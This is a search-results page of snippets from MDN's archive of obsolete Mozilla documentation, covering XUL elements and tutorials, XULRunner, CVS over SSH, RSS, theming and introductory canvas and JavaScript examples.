...require({ after_gcc_pass: "cfg" }); include('gcc_util.js'); // for function_decl_cfg include('gcc_print.js'); function process_tree(fn) { print("function " + decl_name(fn)); // fn is a function_decl let cfg = function_decl_cfg(fn); for (let bb in cfg_bb_iterator(cfg)) { print(" basic block " + bb_label(cfg, bb)); for (let isn in bb_isn_iterator(bb)) { print(" ...
..." + isn_display(isn)); } } } post-inlining gimple cfgs treehydra can be positioned after any pass, allowing you access various levels of gimple.
...And 2 more matches
When To Use ifdefs - Archive of obsolete content
"ifdefs", or conditional instructions, are used to build different code what are ifdefs ifdefs are conditional directives to a text preprocessor which mark that certain blocks of code are used only in certain conditions.
...one special "feature ifdef" that deserves special attention is "moz_xul_app".
... this variable marks any application that is using the "toolkit".
...And 2 more matches
Mac stub installer - Archive of obsolete content
build the mac installer (debug or non-debug target) using miw.mcp grab a nightly build, say from <http://ftp.mozilla.org/pub/mozilla/n...taller.sea.bin> drop in the installer binary next to the "mozilla installer" in the "mozilla installer" folder created by unstuffing the opt build.
... run the installer from the opt "mozilla installer" folder.
... alternative to steps 3 and 4 copy the "installer modules" folder from the "mozilla installer" folder into the "macbuild" folder that contains the build debug or non-debug installer binary next to miw.mcp.
...And 2 more matches
Writing to Files - Archive of obsolete content
try { var file = io.getfile("desktop", "myinfo.txt"); var stream = io.newoutputstream(file, "text"); } catch (ex) { alert(ex); } this example retrieves a file object on the desktop called 'myinfo.txt' using nsiscriptableio.getfile().
...however, here is an example of how they might be used: var stream = io.newoutputstream(file, "text nocreate append"); the flags are specified in a space separated list as the second argument to the newoutputstream method.
...var file = io.getfile("desktop", "myinfo.txt"); var stream = io.newoutputstream(file, "text"); stream.writestring("this is some text"); stream.close(); in this example, a text input stream is created for the file 'myinfo.txt'.
...And 2 more matches
Multiple Queries - Archive of obsolete content
the following is the basic structure of a template with multiple queries: <listbox datasources="..." ref="..."> <queryset> <query> ...
...here is an example using an rdf datasource: <hbox id="photoslist" datasources="template-guide-photos3.rdf" ref="http://www.xulplanet.com/rdf/myphotos"> <template> <queryset> <query> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/title" object="canal"/> </query> <action> ...
...<button uri="?photo" image="?photo" label="view" orient="vertical"/> </action> </queryset> <queryset> <query> <content uri="?start"/> <member container="?start" child="?photo"/> </query> <action> <image uri="?photo" src="?photo"/> </action> </queryset> </template> </hbox> this template contains two queries, the first contains a <triple> which matches only the photo with a title of 'canal'.
...And 2 more matches
Using Multiple Queries to Generate More Results - Archive of obsolete content
if we add the following data about people to the neighbourhood datasource: <rdf:description rdf:about="http://www.xulplanet.com/rdf/myneighbourhood"> <r:people> <rdf:seq> <rdf:li rdf:resource="http://www.xulplanet.com/rdf/person/1"/> <rdf:li rdf:resource="http://www.xulplanet.com/rdf/person/2"/> </rdf:seq> </r:people> </rdf:description> <rdf:description rdf:about="http://www.xulplanet.com/rdf/person/1" dc:title="nathan"/> <rdf:descripti...
...on rdf:about="http://www.xulplanet.com/rdf/person/2" dc:title="karen"/> we can then use two queries to generate results from different parts of the datasource.
... <template> <queryset> <query> <content uri="?start"/> <member container="?start" child="?item"/> </query> <rule> <binding subject="?item" predicate="http://purl.org/dc/elements/1.1/title" object="?title"/> <action> <label uri="?item" value="?title" class="header"/> </action> </rule> </queryset> <queryset> <query> <content uri="?start"/> <triple subject="?start" predicate="http://www.xulplanet.com/rdf/people" object="?people"/> <member container="?people" child="?item"/> </query> <r...
...And 2 more matches
Textbox (XPFE autocomplete) - Archive of obsolete content
window, document, or any of the functions/objects/variables bound to the window object event object example <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="findfile-window" title="find files" orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="text/javascript"> function myfunction(e){ /* do something cool here or just say the below */ alert(e.target.nodename); } </script> ...
...<textbox id="find-text" onchange="return myfunction(event);"/> </window> onerrorcommand type: script code this event handler is called when an error occurs when selecting a result from the popup.
...the tab order is the order in which the focus is moved when the user presses the "tab" key.
...And 2 more matches
Adding Buttons - Archive of obsolete content
syntax of buttons the button tag has the following syntax: <button id="identifier" class="dialog" label="ok" image="images/image.jpg" disabled="true" accesskey="t"/> the attributes are as follows, all of which are optional: id a unique identifier so that you can identify the button with.
... some examples of buttons example 1 : source view <button label="normal"/> <button label="disabled" disabled="true"/> the examples above will generate the buttons in the image.
... <button id="find-button" label="find"/> note: firefox does not allow you to open chrome windows from web pages, so the view links in the tutorial will open in normal browser windows.
...And 2 more matches
Adding Labels and Images - Archive of obsolete content
an example is shown below: example 1 : source view <label value="this is some text"/> the value attribute can be used to specify the text that you wish to have displayed.
...example 3 : source view <label value="click here:" control="open-button"/> <button id="open-button" label="open"/> in the example above, clicking the label will cause the button to be focused.
...</description> you can set the text via script using the textcontent property, as in the following example: <description id="text" width="200"/> document.getelementbyid('text').textcontent = "some lengthy word wrapped text goes here."; internally, both the label element and the description elements are the same.
...And 2 more matches
Adding more elements - Archive of obsolete content
<hbox> <menulist id="searchtype"> <menupopup> <menuitem label="name"/> <menuitem label="size"/> <menuitem label="date modified"/> </menupopup> </menulist> <spacer style="width: 10px;"/> <menulist id="searchmode"> <menupopup> <menuitem label="is"/> <menuitem label="is not"/> </menupopup> </menulist> <spacer style="width: 10px;"/> <textbox id="find-text" flex="1" style="min-width: 15em;"/> </hbox> two drop dow...
...<spacer style="height: 10px"/> <hbox> <menulist id="searchtype"> <menupopup> <menuitem label="name"/> <menuitem label="size"/> <menuitem label="date modified"/> </menupopup> </menulist> <spacer style="width: 10px;"/> <menulist id="searchmode"> <menupopup> <menuitem label="is"/> <menuitem label="is not"/> </menupopup> </menulist> <spacer style="width: 10px...
...;"/> <textbox id="find-text" flex="1" style="min-width: 15em;"/> </hbox> <spacer style="height: 10px" flex="1"/> <hbox> now when the dialog is resized, the two buttons will move so that they are always along the bottom of the dialog.
...And 2 more matches
Creating Dialogs - Archive of obsolete content
var somefile=document.getelementbyid('enterfile').value; window.opendialog("chrome://findfile/content/showdetails.xul","showmore", "chrome",somefile); in this example the dialog showdetails.xul is displayed.
... example dialog source view <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/global.css" type="text/css"?> <dialog id="donothing" title="dialog example" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" buttons="accept,cancel" ondialogaccept="return dook();" ondialogcancel="return docancel();"> <script> function dook(){ alert("you pressed ok!"); return true; } func...
...tion docancel(){ alert("you pressed cancel!"); return true; } </script> <description value="select a button"/> </dialog> you may place any elements that you wish in a dialog.
...And 2 more matches
Grids - Archive of obsolete content
ArchiveMozillaXULTutorialGrids
example 1 : source view <grid flex="1"> <columns> <column flex="2"/> <column flex="1"/> </columns> <rows> <row> <button label="rabbit"/> <button label="elephant"/> </row> <row> <button label="koala"/> <button label="gorilla"/> </row> </rows> </grid> two rows and two columns have been added to a grid.
...for example: example 2 : source view <grid flex="1"> <columns> <column/> <column flex="1"/> </columns> <rows> <row> <label control="doctitle" value="document title:"/> <textbox id="doctitle" flex="1"/> </row> <row> <label control="docpath" value="path:"/> <hbox flex="1"> <textbox id="docpath" flex="1"/> <button label="browse..."/> </hbox> </row> </rows> </grid> ...
... example 3 : source view <grid> <rows> <row/> <row/> <row/> </rows> <columns> <column> <label control="first" value="first name:"/> <label control="middle" value="middle name:"/> <label control="last" value="last name:"/> </column> <column> <textbox id="first"/> <textbox id="middle"/> <textbox id="last"/> </column> </columns> </grid> this grid has three rows and two columns.
...And 2 more matches
Input Controls - Archive of obsolete content
the following example shows some textboxes: example 1 : source view <label control="some-text" value="enter some text"/> <textbox id="some-text"/> <label control="some-password" value="enter a password"/> <textbox id="some-password" type="password" maxlength="8"/> multiline textbox the textbox examples above will create text inputs that can only be used for entering one line of text.
... example 2 : source view <textbox multiline="true" value="this is some text that could wrap onto multiple lines."/> like the html textarea, you can use the rows and cols attributes to set the size.
... <label value="search for:" control="find-text"/> <textbox id="find-text"/> <button id="find-button" label="find"/> add these lines before the buttons we created in the last section.
...And 2 more matches
More Button Features - Archive of obsolete content
example 1 : source view <button label="help" image="happy.png"/> button with css image another way to specify the image is by using the css list-style-image style property on the button.
...example 2 : source view <button id="find-button" label="find" style="list-style-image: url('happy.png')"/> in this case, the image 'happy.png' is displayed on the button.
...example 3 : source view <button label="left" image="happy.png"/> <button label="right" image="happy.png" dir="reverse"/> <button label="above" image="happy.png" orient="vertical"/> <button label="below" image="happy.png" orient="vertical" dir="reverse"/> the example here shows all four types of alignment of buttons.
...And 2 more matches
More Tree Features - Archive of obsolete content
you do this by adding the container attribute to it as follows: <treeitem container="true" /> this allows the user to click on the row that corresponds to the treeitem to expand and collapse the inner rows.
...example hierarchical tree the following is a simple example: example 1 : source view <tree rows="6"> <treecols> <treecol id="firstname" label="first name" primary="true" flex="3" /> <treecol id="lastname" label="last name" flex="7" /> </treecols> <treechildren> <treeitem container="true" open="true"> <treerow> <treecell label="guys" /> </treerow> <treechildren> <treeitem> <treerow> <treecell label="bob" /> ...
... <treecell label="carpenter" /> </treerow> </treeitem> <treeitem> <treerow> <treecell label="jerry" /> <treecell label="hodge" /> </treerow> </treeitem> </treechildren> </treeitem> </treechildren> </tree> this has created a hierarchical tree.
...And 2 more matches
Property Files - Archive of obsolete content
<stringbundleset id="stringbundleset"> <stringbundle id="strings" src="strings.properties"/> </stringbundleset> including this element will read the properties from the file 'strings.properties' in the same directory as the xul file.
... use a chrome url to read a file from the locale: <stringbundleset id="stringbundleset"> <stringbundle id="strings" src="chrome://myplugin/locale/strings.properties"/> </stringbundleset> like other non-displayed elements, you should declare all your stringbundles inside a stringbundleset element so that they are all kept together.
...var strbundle = document.getelementbyid("strings"); var nofilesfound=strbundle.getstring("notfoundalert"); alert(nofilesfound); this example first gets a reference to the bundle using its id then, it looks up the string 'notfoundalert' in the property file.
...And 2 more matches
Tabboxes - Archive of obsolete content
shown below is the general syntax of a tabbox: <tabbox id="tablist"> <tabs> <!-- tab elements go here --> </tabs> <tabpanels> <!-- tabpanel elements go here --> </tabpanels> </tabbox> the tab elements are placed inside a tabs element, which is much like a regular box.
... tabbox example example 1 : source view <tabbox> <tabs> <tab label="mail"/> <tab label="news"/> </tabs> <tabpanels> <tabpanel id="mailtab"> <checkbox label="automatically check for mail"/> </tabpanel> <tabpanel id="newstab"> <button label="clear news buffer"/> </tabpanel> </tabpanels> </tabbox> here, two tabs have been added, the first labeled 'mail' and the other 'news'.
... <vbox flex="1"> <tabbox selectedindex="1"> <tabs> <tab label="search"/> <tab label="options"/> </tabs> <tabpanels> <tabpanel id="searchpanel" orient="vertical"> <description> enter your search criteria below and select the find button to begin the search.
...And 2 more matches
Trees - Archive of obsolete content
ArchiveMozillaXULTutorialTrees
example tree with two columns example 1 : source view <tree flex="1"> <treecols> <treecol id="namecolumn" label="name" flex="1"/> <treecol id="addresscolumn" label="address" flex="2"/> </treecols> <treechildren/> </tree> first, the entire table is surrounded with a tree element.
... example tree with treechildren example 2 : source view <tree flex="1"> <treecols> <treecol id="sender" label="sender" flex="1"/> <treecol id="subject" label="subject" flex="2"/> </treecols> <treechildren> <treeitem> <treerow> <treecell label="joe@somewhere.com"/> <treecell label="top secret plans"/> </treerow> </treeitem> <treeitem> <treerow> <treecell label="mel@whereever.com"/> <treec...
...ell label="let's do lunch"/> </treerow> </treeitem> </treechildren> </tree> as can be seen in the image, the tree has been created with two rows of data.
...And 2 more matches
Trees and Templates - Archive of obsolete content
the following example uses the history datasource: <tree datasources="rdf:history" ref="nc:historybydate" flags="dont-build-content"> as described in the previous section, the tree may use a tree builder for template generation instead of the normal content builder.
...example 1 : source <tree id="my-tree" flex="1" datasources="rdf:files" ref="nc:filesroot" flags="dont-build-content"> <treecols> <treecol id="name" label="name" primary="true" flex="1"/> <splitter/> <treecol id="date" label="date" flex="1"/> </treecols> <template> <rule> <treechildren> <treeitem uri="rdf:*"> <treerow> <treecell label="rdf:http://hom...
...e.netscape.com/nc-rdf#name"/> <treecell label="rdf:http://home.netscape.com/web-rdf#lastmodifieddate"/> </treerow> </treeitem> </treechildren> </rule> </template> </tree> here, a tree is created with two columns, for the name and date of a file.
...And 2 more matches
Updating Commands - Archive of obsolete content
a simple way of doing this is the following: var controller = document.commanddispatcher.getcontrollerforcommand("cmd_paste"); if (controller && controller.iscommandenabled("cmd_paste")){ controller.docommand(command); } the code above first retrieves the controller for the 'cmd_paste' command from the command dispatcher.
...<script src="chrome://global/content/globaloverlay.js"/> <command id="cmd_paste" oncommand="godocommand('cmd_paste');"/> <button label="paste" command="cmd_paste"/> the example above will implement a paste button.
...a simple command updater looks like this: <commandset id="updatepasteitem" commandupdater="true" events="focus" oncommandupdate="goupdatecommand('cmd_paste');"/> a command updater is indicated by using the commandupdater attribute, which should be set to true.
...And 2 more matches
Using the Editor from XUL - Archive of obsolete content
in editor.xul, the <window> tag has an onload handler: onload="editoronload()".
... the xul contains an <editor> tag, e.g.: <editor type="content-primary" id="content-frame" src="about:blank" flex="1"/> the attribute type="content-primary" identifies this as the window content element, i.e.
...having an id attribute, id="content-frame", allows us to find this element with document.getelementbyid("content-frame"), and to style it from css.
...And 2 more matches
XUL Coding Style Guidelines - Archive of obsolete content
introduction xul, pronounced as "zool", stands for "xml-based user interface language", is a cross platform way of describing user interface.
...for example: <!-- localization note homebtn.label : do not translate the entity value "home".
... --> <!-- entity homebtn.label "home" --> properties files are very similar, but use the pound sign instead of <!--<var>xxxxx</var>-->: # localization note entity name : content we recognize that translation is a subset of localization even though we've consistently referred to our notes as "localization note".
...And 2 more matches
key - Archive of obsolete content
ArchiveMozillaXULkey
to display the shortcut defined with the key element in the ui, you can use <menuitem key="key element's id" command="command id" .../>.
...(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata details on key, keycode, and modifiers attributes for example, consider the following key: <key key="r" modifiers="shift"/> this key will only match when the shift key is pressed as well as the r key, and no other keys.
...for example: <key key="r" modifiers="shift any control"/> in this example, the shift key may or may not be pressed, while the control key must be pressed.
...And 2 more matches
listbox - Archive of obsolete content
emtoselection, appenditem, clearselection, ensureelementisvisible, ensureindexisvisible, getindexoffirstvisiblerow, getindexofitem, getitematindex, getnumberofvisiblerows, getrowcount, getselecteditem, insertitemat, invertselection, movebyoffset, removeitemat, removeitemfromselection, scrolltoindex, selectall, selectitem, selectitemrange, timedselect, toggleitemselection examples <listbox id="thelist"> <listitem label="ruby"/> <listitem label="emerald"/> <listitem label="sapphire" selected="true"/> <listitem label="diamond"/> </listbox> <listbox id="thelist" rows="10" width="400"> <listhead> <listheader label="1ct gem" width="240"/> <listheader label="price" width="150"/> </listhead> <listcols> <listcol/> <listcol flex="1"/> </listcols> </listbox> ...
...var thelist = document.getelementbyid('thelist'); gems = [ {gem: "ruby", price: "$3,500 - $4,600"}, {gem: "emerald", price: "$700 - 4,250"}, {gem: "blue sapphire", price: "$3,400 - $4,500"}, {gem: "diamond", price: "$5,600 - $16,000"} ]; for (var i = 0; i < gems.length; i++) { var row = document.createelement('listitem'); var cell = document.createelement('listcell'); cell.setattribute('label', gems[i].gem); row.appendchild(cell); cell = document.createelement('listcell'); cell.setattribute('label', gems[i].price ); row.appendchild(cell); thelist.appendchild(row); } attributes disabled type: boolean indicates whether the element is disabled or not.
...the tab order is the order in which the focus is moved when the user presses the "tab" key.
...And 2 more matches
menupopup - Archive of obsolete content
there are several ways in which a menupopup may be used: it may be placed inside a menu, menulist, toolbarbutton, or a button with the type attribute set to "menu" to create a popup that will open when the menu or button is pressed.
... <menulist> <menupopup> <menuitem label="mozilla" value="http://mozilla.org"/> <menuitem label="slashdot" value="http://slashdot.org"/> <menuitem label="sourceforge" value="http://sf.net"/> <menuitem label="freshmeat" value="http://freshmeat.net"/> </menupopup> </menulist> the following example shows how a menupopup can be used as a context menu for an element.
... <menupopup id="clipmenu"> <menuitem label="cut"/> <menuitem label="copy"/> <menuitem label="paste"/> </menupopup> <label value="right click for popup" context="clipmenu"/> attributes ignorekeys type: boolean if true, keyboard navigation between items in the popup is disabled.
...And 2 more matches
preference - Archive of obsolete content
attributes disabled, instantapply, inverted, name, onchange, readonly, tabindex, type properties defaultvalue, disabled, hasuservalue, inverted, locked, name, preferences, readonly, tabindex, type, value, valuefrompreferences methods reset examples <preferences> <preference id="pref_id" name="preference.name" type="int"/> </preferences> see preferences system for a complete example.
...window, document, or any of the functions/objects/variables bound to the window object event object example <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="findfile-window" title="find files" orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="text/javascript"> function myfunction(e){ /* do something cool here or just say the below */ alert(e.target.nodename); } </script> ...
...<textbox id="find-text" onchange="return myfunction(event);"/> </window> readonly type: boolean if set to true, then the user cannot change the value of the element.
...And 2 more matches
radio - Archive of obsolete content
ArchiveMozillaXULradio
attributes accesskey, command, crop, disabled, focused, group, image, label, selected, tabindex, value properties accesskey, accessibletype, control, crop, disabled, image, label, radiogroup, selected, tabindex, value examples <radiogroup> <radio id="orange" label="red" accesskey="r"/> <radio id="violet" label="green" accesskey="g" selected="true"/> <radio id="yellow" label="blue" accesskey="b" disabled="true"/> </radiogroup> attributes accesskey type: character this should be set to a character that is used as a shortcut key.
... group type: string group name buttons with type="radio" and the same value for their group attribute are put into the same group.
...the tab order is the order in which the focus is moved when the user presses the "tab" key.
...And 2 more matches
scale - Archive of obsolete content
ArchiveMozillaXULscale
« xul reference home [ examples | attributes | properties | methods | related ] a scale (sometimes referred to as a "slider") allows the user to select a value from a range.
... attributes dir, disabled, increment, max, min, movetoclick, pageincrement, tabindex, value properties disabled, max, min, increment, pageincrement, tabindex, value, methods decrease, decreasepage, increase, increasepage, examples horizontal scale: <scale min="1" max="10"/> vertical scale: <scale min="1" max="10" orient="vertical"/> attributes dir type: one of the values below the direction in which the child elements of the element are placed.
...the tab order is the order in which the focus is moved when the user presses the "tab" key.
...And 2 more matches
textbox - Archive of obsolete content
alplaces, decimalsymbol, defaultvalue, disabled, editor, emptytext, increment, inputfield, label, max, maxlength, min, placeholder, readonly, searchbutton, selectionend, selectionstart, size, spinbuttons, tabindex, textlength, timeout, type, value, valuenumber, wraparound methods decrease, increase, reset, select, setselectionrange style classes plain examples <vbox> <label control="your-name" value="enter your name:"/> <textbox id="your-name" value="john"/> </vbox> attributes cols type: integer for multiline textboxes, the number of columns to display.
...--> <input type="text" spellcheck="true" /><br /> <textarea spellcheck="true"></textarea> <div contenteditable="true" spellcheck="true">i am some content</div> <!-- spellcheck nothing!
... --> <input type="text" spellcheck="false" /><br /> <textarea spellcheck="false"></textarea> <div contenteditable="true" spellcheck="false">i am some content</div> you can use spellcheck on input, textarea, and contenteditable elements.
...And 2 more matches
toolbarbutton - Archive of obsolete content
attributes accesskey, autocheck, checkstate, checked, command, crop, dir, disabled, dlgtype, group, image, label, oncommand, open, orient, tabindex, title, type, validate properties accesskey, accessibletype, autocheck, checkstate, checked, command, crop, dir, disabled, dlgtype, group, image, label, open, orient, tabindex, type examples <toolbar id="test-toolbar"> <toolbarbutton accesskey="p" label="plain"/> <toolbarbutton accesskey="c" label="checkbox" type="checkbox"/> <toolbarbutton accesskey="b" label="menu-button" type="menu-button"> <menupopup> <menuitem label="menu item 1"/> <menuitem label="menu item 2"/> </menupopup> </toolbarbutton> <toolbarbutton accesskey="m" label="menu" type="menu"> <menupopup> ...
... <menuitem label="menu item 1"/> <menuitem label="menu item 2"/> </menupopup> </toolbarbutton> </toolbar> <toolbar id="radio-toolbar"> <toolbarbutton accesskey="1" label="radio 1" type="radio" group="radiogroup"/> <toolbarbutton accesskey="2" label="radio 2" type="radio" group="radiogroup"/> <toolbarbutton accesskey="3" label="radio 3" type="radio" group="radiogroup"/> </toolbar> attributes accesskey type: character this should be set to a character that is used as a shortcut key.
...when autocheck is true, the button type should be "checkbox" or "radio".
...And 2 more matches
Building XULRunner with Python - Archive of obsolete content
using python in xul applications add the following to yourprefs.js during development pref("browser.dom.window.dump.enabled", true); pref("javascript.options.showinconsole", true); pref("javascript.options.strict", true); pref("nglayout.debug.disable_xul_cache", true); pref("nglayout.debug.disable_xul_fastload", true); html <script> tags specify that python is used withtype="application/x-python" attribute.
...for example def onload(): btntest = document.getelementbyid("btntest") btntest.addeventlistener('command', ontest, false) def ontest(): window.alert('button activated') window.addeventlistener('load', onload, false) one possible gotcha is that the default python path used to find modules that areimported explicitly includes the xulrunner executable directory and the directory that is current when xulrunner launches.
...the jsconsole can also be open and used from code, for example (in javascript) function openjavascriptconsole() { var wwatch = components.classes["@mozilla.org/embedcomp/window-watcher;1"] .getservice(components.interfaces.nsiwindowwatcher); wwatch.openwindow(null, "chrome://global/content/console.xul", "_blank", "chrome,dialog=no,all", null); } // dump to the js console (xulrunner -jsconsole) function jsdump(str) { components.classes['@mozilla.org/consoleservice;1'] .getservice...
...And 2 more matches
XULRunner Hall of Fame - Archive of obsolete content
latest release june 2009 prism (formerly known as webrunner) a simple, minimal web browser shell or "single site browser." useful for running web applications such as gmail in a separate browser process.
...latest release: june 2010 - build instructions utilities / prototypes ajax toolkit framework (atf) a part of the eclipse web tools platform (wtp) aliwal geocoder geocode addresses onto a map benjamin's xulrunner examples "mybrowser is a very simple example browser", xulmine.
... an updated version of "mybrowser" that works with firefox 25.0.1+ is available in matthew kastor's xulrunner examples at https://github.com/matthewkastor/xulrunner-examples/ exch a currency conversion tool using updated data from http://finance.yahoo.com/currency.
...And 2 more matches
nsIContentPolicy - Archive of obsolete content
warning: do not block the caller in your implementations of shouldload() or shouldprocess() (for example, by launching a dialog to prompt the user for something).") note: in reality, much of this interface is defined in the nsicontentpolicybase interface, but for now is documented here until someone has time to split things up.
... query any dom properties that depend on the current state of the dom outside the "context" node (e.g., lengths of node lists).
..."processing" means handling by the application.
...And 2 more matches
xbDesignMode.js - Archive of obsolete content
/* ***** begin license block ***** * version: mpl 1.1/gpl 2.0/lgpl 2.1 * * the contents of this file are subject to the mozilla public license version * 1.1 (the "license"); you may not use this file except in compliance with * the license.
... you may obtain a copy of the license at * http://www.mozilla.org/mpl/ * * software distributed under the license is distributed on an "as is" basis, * without warranty of any kind, either express or implied.
... * * contributor(s): doron rosenberg <doron@netscape.com> (original author) * * * * ***** end license block ***** */ /* xbdesignmode a javascript wrapper for browsers that support designmode */ function xbdesignmode(aiframe){ this.meditordocument = null; this.miframeelement = null; // argument is a string, therefore an id if ( (typeof(aiframe) == "string") && (document.getelementbyid(aiframe).tagname.tolowercase()=="iframe") ){ this.miframeelement = document.getelementbyid(aiframe); } else if( (typeof(aiframe)=="object") && (aiframe.tagname.tolowercase() == "iframe") ){ this.miframeelement = aiframe; } else { throw "argument isn't an id of an iframe or an iframe reference"; } if (this.miframeelement.contentdocument){ ...
...And 2 more matches
2006-10-20 - Archive of obsolete content
he has already "studied" the makefiles but has had no success in achieving his goal.
... in jan vávra's case he is modifying the thunderbird installer so he needs to modify "mail/installer/windows/packages-static" announcements decommissioning sparky on friday on october 17th j.
...paul reed had asked "why gtk1 was still being built".
...And 2 more matches
Monitoring plugins - Archive of obsolete content
below are a number of javascript snippets that would be useful to developers trying to use this feature: registration to register for runtime notifications with the observer service you must create a class with an observe method which receives 3 parameters (subject, topic and data) as well as a register method that contains the following code: var observerservice = components.classes["@mozilla.org/observer-service;1"] .getservice (components.interfaces.nsiobserverservice); observerservice.addobserver(this, "experimental-notify-plugin-call", false); observing as discussed above, to specify what you want done when a notification arrives your class must have an observe method, receiving 3 parameters (subject, topic and data).
... here is an example that shows the runtime in an alert box to the user if the runtime exceeds half a second in length: observe: function(subject, topic, data) { if (topic == "experimental-notify-plugin-call" ) { if (data > 0.500) { alert("runtime is: " + data); } } } note: this is just a simplified example and the use of alert() is discouraged as the component can send hundreds of notifications each second and could potentially cause your browser to crash if an excessive number of alert boxes are displayed.
... clean up to unregister your class with the observer service - when you no longer want to be listening to runtime notifications - your class must include an unregister method that contains the following code: var observerservice = components.classes["@mozilla.org/observer-service;1"] .getservice(components.interfaces.nsiobserverservice); observerservice.removeobserver(this, "experimental-notify-plugin-call"); skeleton observer class below is a skeleton class that you may use to listen to runtime notifications: function pluginobserver() { this.registered = false; this.register(); //takes care of registeri...
...And 2 more matches
Why RSS Content Module is Popular - Including HTML Contents - Archive of obsolete content
then the <description> would be: <description>this is &lt;b&gt;bold&lt;/b&gt;.</description> note that the "<" has been turned into "&lt;".
... and the ">" has been turned into "&gt;".
...including "<" and ">" without having to escape them.
...And 2 more matches
Making sure your theme works with RTL locales - Archive of obsolete content
a screenshot of firefox 2 in hebrew what you need to do at this stage you might ask yourself, "how would i know what language is my theme installed on?
... should i make a special theme for these locales?" don't despair: making a theme rtl-compatible is fairly easy!
... example toolbar[iconsize="large"][mode="icons"] #back-button { -moz-image-region: rect(0px 396px 34px 360px); } toolbar[iconsize="large"][mode="icons"] #back-button:-moz-locale-dir(rtl) { -moz-image-region: rect(0px 516px 34px 480px); } this specifies the default, left-to-right version of the button, then offers an override if the user's interface is being rendered in right-to-left mode.
...And 2 more matches
Using SSH to connect to CVS - Archive of obsolete content
-name root -exec perl -p -i -e "s/pserver/ext/" {} \; dealing with firewalls do not attempt to perform the steps in this section unless you have first verified that you can access cvs.mozilla.org from outside of the firewall.
...corkscrew uses the standard "./configure; make install" technique common to many open source projects.
... posix shell eval `ssh-agent -s` ssh-add ~/.ssh/id_dsa $shell ssh-agent -k exit x windows in "~/.xinitrc" add "ssh-add".
...And 2 more matches
::-ms-clear - Archive of obsolete content
the ::-ms-clear css pseudo-element creates a clear button at the edge of an <input type="text"> text control that clears the current value.
...this includes inputs that appear text-like or fall back to type="text".
... such inputs include: <input type="color"> <input type="date"> <input type="datetime"> <input type="datetime-local"> <input type="email"> <input type="month"> <input type="number"> <input type="search"> <input type="tel"> <input type="time"> <input type="url"> <input type="week"> allowable properties only the following css properties can be used in a rule with ::-ms-clear in its selector.
...And 2 more matches
Displaying notifications (deprecated) - Archive of obsolete content
to see how to use the standard api, please read: using web notifications mobile only in gecko 2.0 available only in firefox mobile as of gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) firefox offers support for "desktop notifications"; these are notifications that are displayed to the user outside the context of the web content, using the standard notification system provided by the operating system.
... creating a notification the first thing you need to do is create the notification object by using the navigator.moznotification object's createnotification() method, as follows: var notification = navigator.moznotification.createnotification( "hey, check this out!", "this is a notification posted by " + "firefox 4.
...right now!"); this returns a new notification object, but does not actually display the notification.
...And 2 more matches
Mozilla XForms Specials - Archive of obsolete content
limitations repeat using attributes the specifications mentions "creating repeating structures via attributes", this is partially supported.
...instead you will have to use the following normal classes instead: xf-value xf-repeat-item xf-repeat-index for example, to target the value element of an input control use: @namespace xf url("http://www.w3.org/2002/xforms"); xf|input .xf-value { ...
...that is, if instancenode is a node in an instance document, then: instancenode.getfeature("org.mozilla.xforms.instanceowner", "1.0") will return the <instance> element (in the main document) that the node belongs to.
...And 2 more matches
Implementing controls using the Gamepad API - Game development
the theme for the competition was "change", so they submitted a game where you have to feed the hungry fridge by tapping the healthy food (apples, carrots, lettuces) and avoid the "bad" food (beer, burgers, pizza.) a countdown changes the type of food the fridge wants to eat every few seconds, so you have to be careful and act quickly.
... the second, hidden "change" implementation is the ability to transform the static fridge into a full-blown moving, shooting and eating machine.
... the game encapsulates two totally different types of "change" — good food vs.
...And 2 more matches
Create the Canvas and draw on it - Game development
using your favourite text editor, create a new html document, save it as index.html, in a sensible location, and add the following code to it: <!doctype html> <html> <head> <meta charset="utf-8" /> <title>gamedev canvas workshop</title> <style> * { padding: 0; margin: 0; } canvas { background: #eee; display: block; margin: 0 auto; } </style> </head> <body> <canvas id="mycanvas" width="480" height="320"></canvas> <script> // javascript code goes here </script> </body> </html> we have a charset defined, <title> and some basic css in the header.
... var canvas = document.getelementbyid("mycanvas"); var ctx = canvas.getcontext("2d"); here we're storing a reference to the <canvas> element to the canvas variable.
... ctx.beginpath(); ctx.rect(20, 40, 50, 50); ctx.fillstyle = "#ff0000"; ctx.fill(); ctx.closepath(); all the instructions are between the beginpath() and closepath() methods.
...And 2 more matches
Move the ball - Game development
now, let's draw the ball — add the following inside your draw() function: ctx.beginpath(); ctx.arc(50, 50, 10, 0, math.pi*2); ctx.fillstyle = "#0095dd"; ctx.fill(); ctx.closepath(); try your updated code now — the ball should be repainted on every frame.
... first, add the following two lines above your draw() function, to define x and y: var x = canvas.width/2; var y = canvas.height-30; next update the draw() function to use the x and y variables in the arc() method, as shown in the following highlighted line: function draw() { ctx.beginpath(); ctx.arc(x, y, 10, 0, math.pi*2); ctx.fillstyle = "#0095dd"; ctx.fill(); ctx.closepath(); } now comes the important part: we want to add a small value to x and y after every frame has been drawn to make it appear that the ball is moving.
...add the following two new lines indicated below to your draw() function: function draw() { ctx.beginpath(); ctx.arc(x, y, 10, 0, math.pi*2); ctx.fillstyle = "#0095dd"; ctx.fill(); ctx.closepath(); x += dx; y += dy; } save your code again and try it in your browser.
...And 2 more matches
First-class Function - MDN Web Docs Glossary: Definitions of Web-related terms
example | assign a function to a variable javascript const foo = function() { console.log("foobar"); } // invoke it using the variable foo(); we assigned an anonymous function in a variable, then we used that variable to invoke the function by adding parentheses () at the end.
... example | pass a function as an argument javascript function sayhello() { return "hello, "; } function greeting(hellomessage, name) { console.log(hellomessage() + name); } // pass `sayhello` as an argument to `greeting` function greeting(sayhello, "javascript!"); we are passing our sayhello() function as an argument to the greeting() function, this explains how we are treating the function as a value.
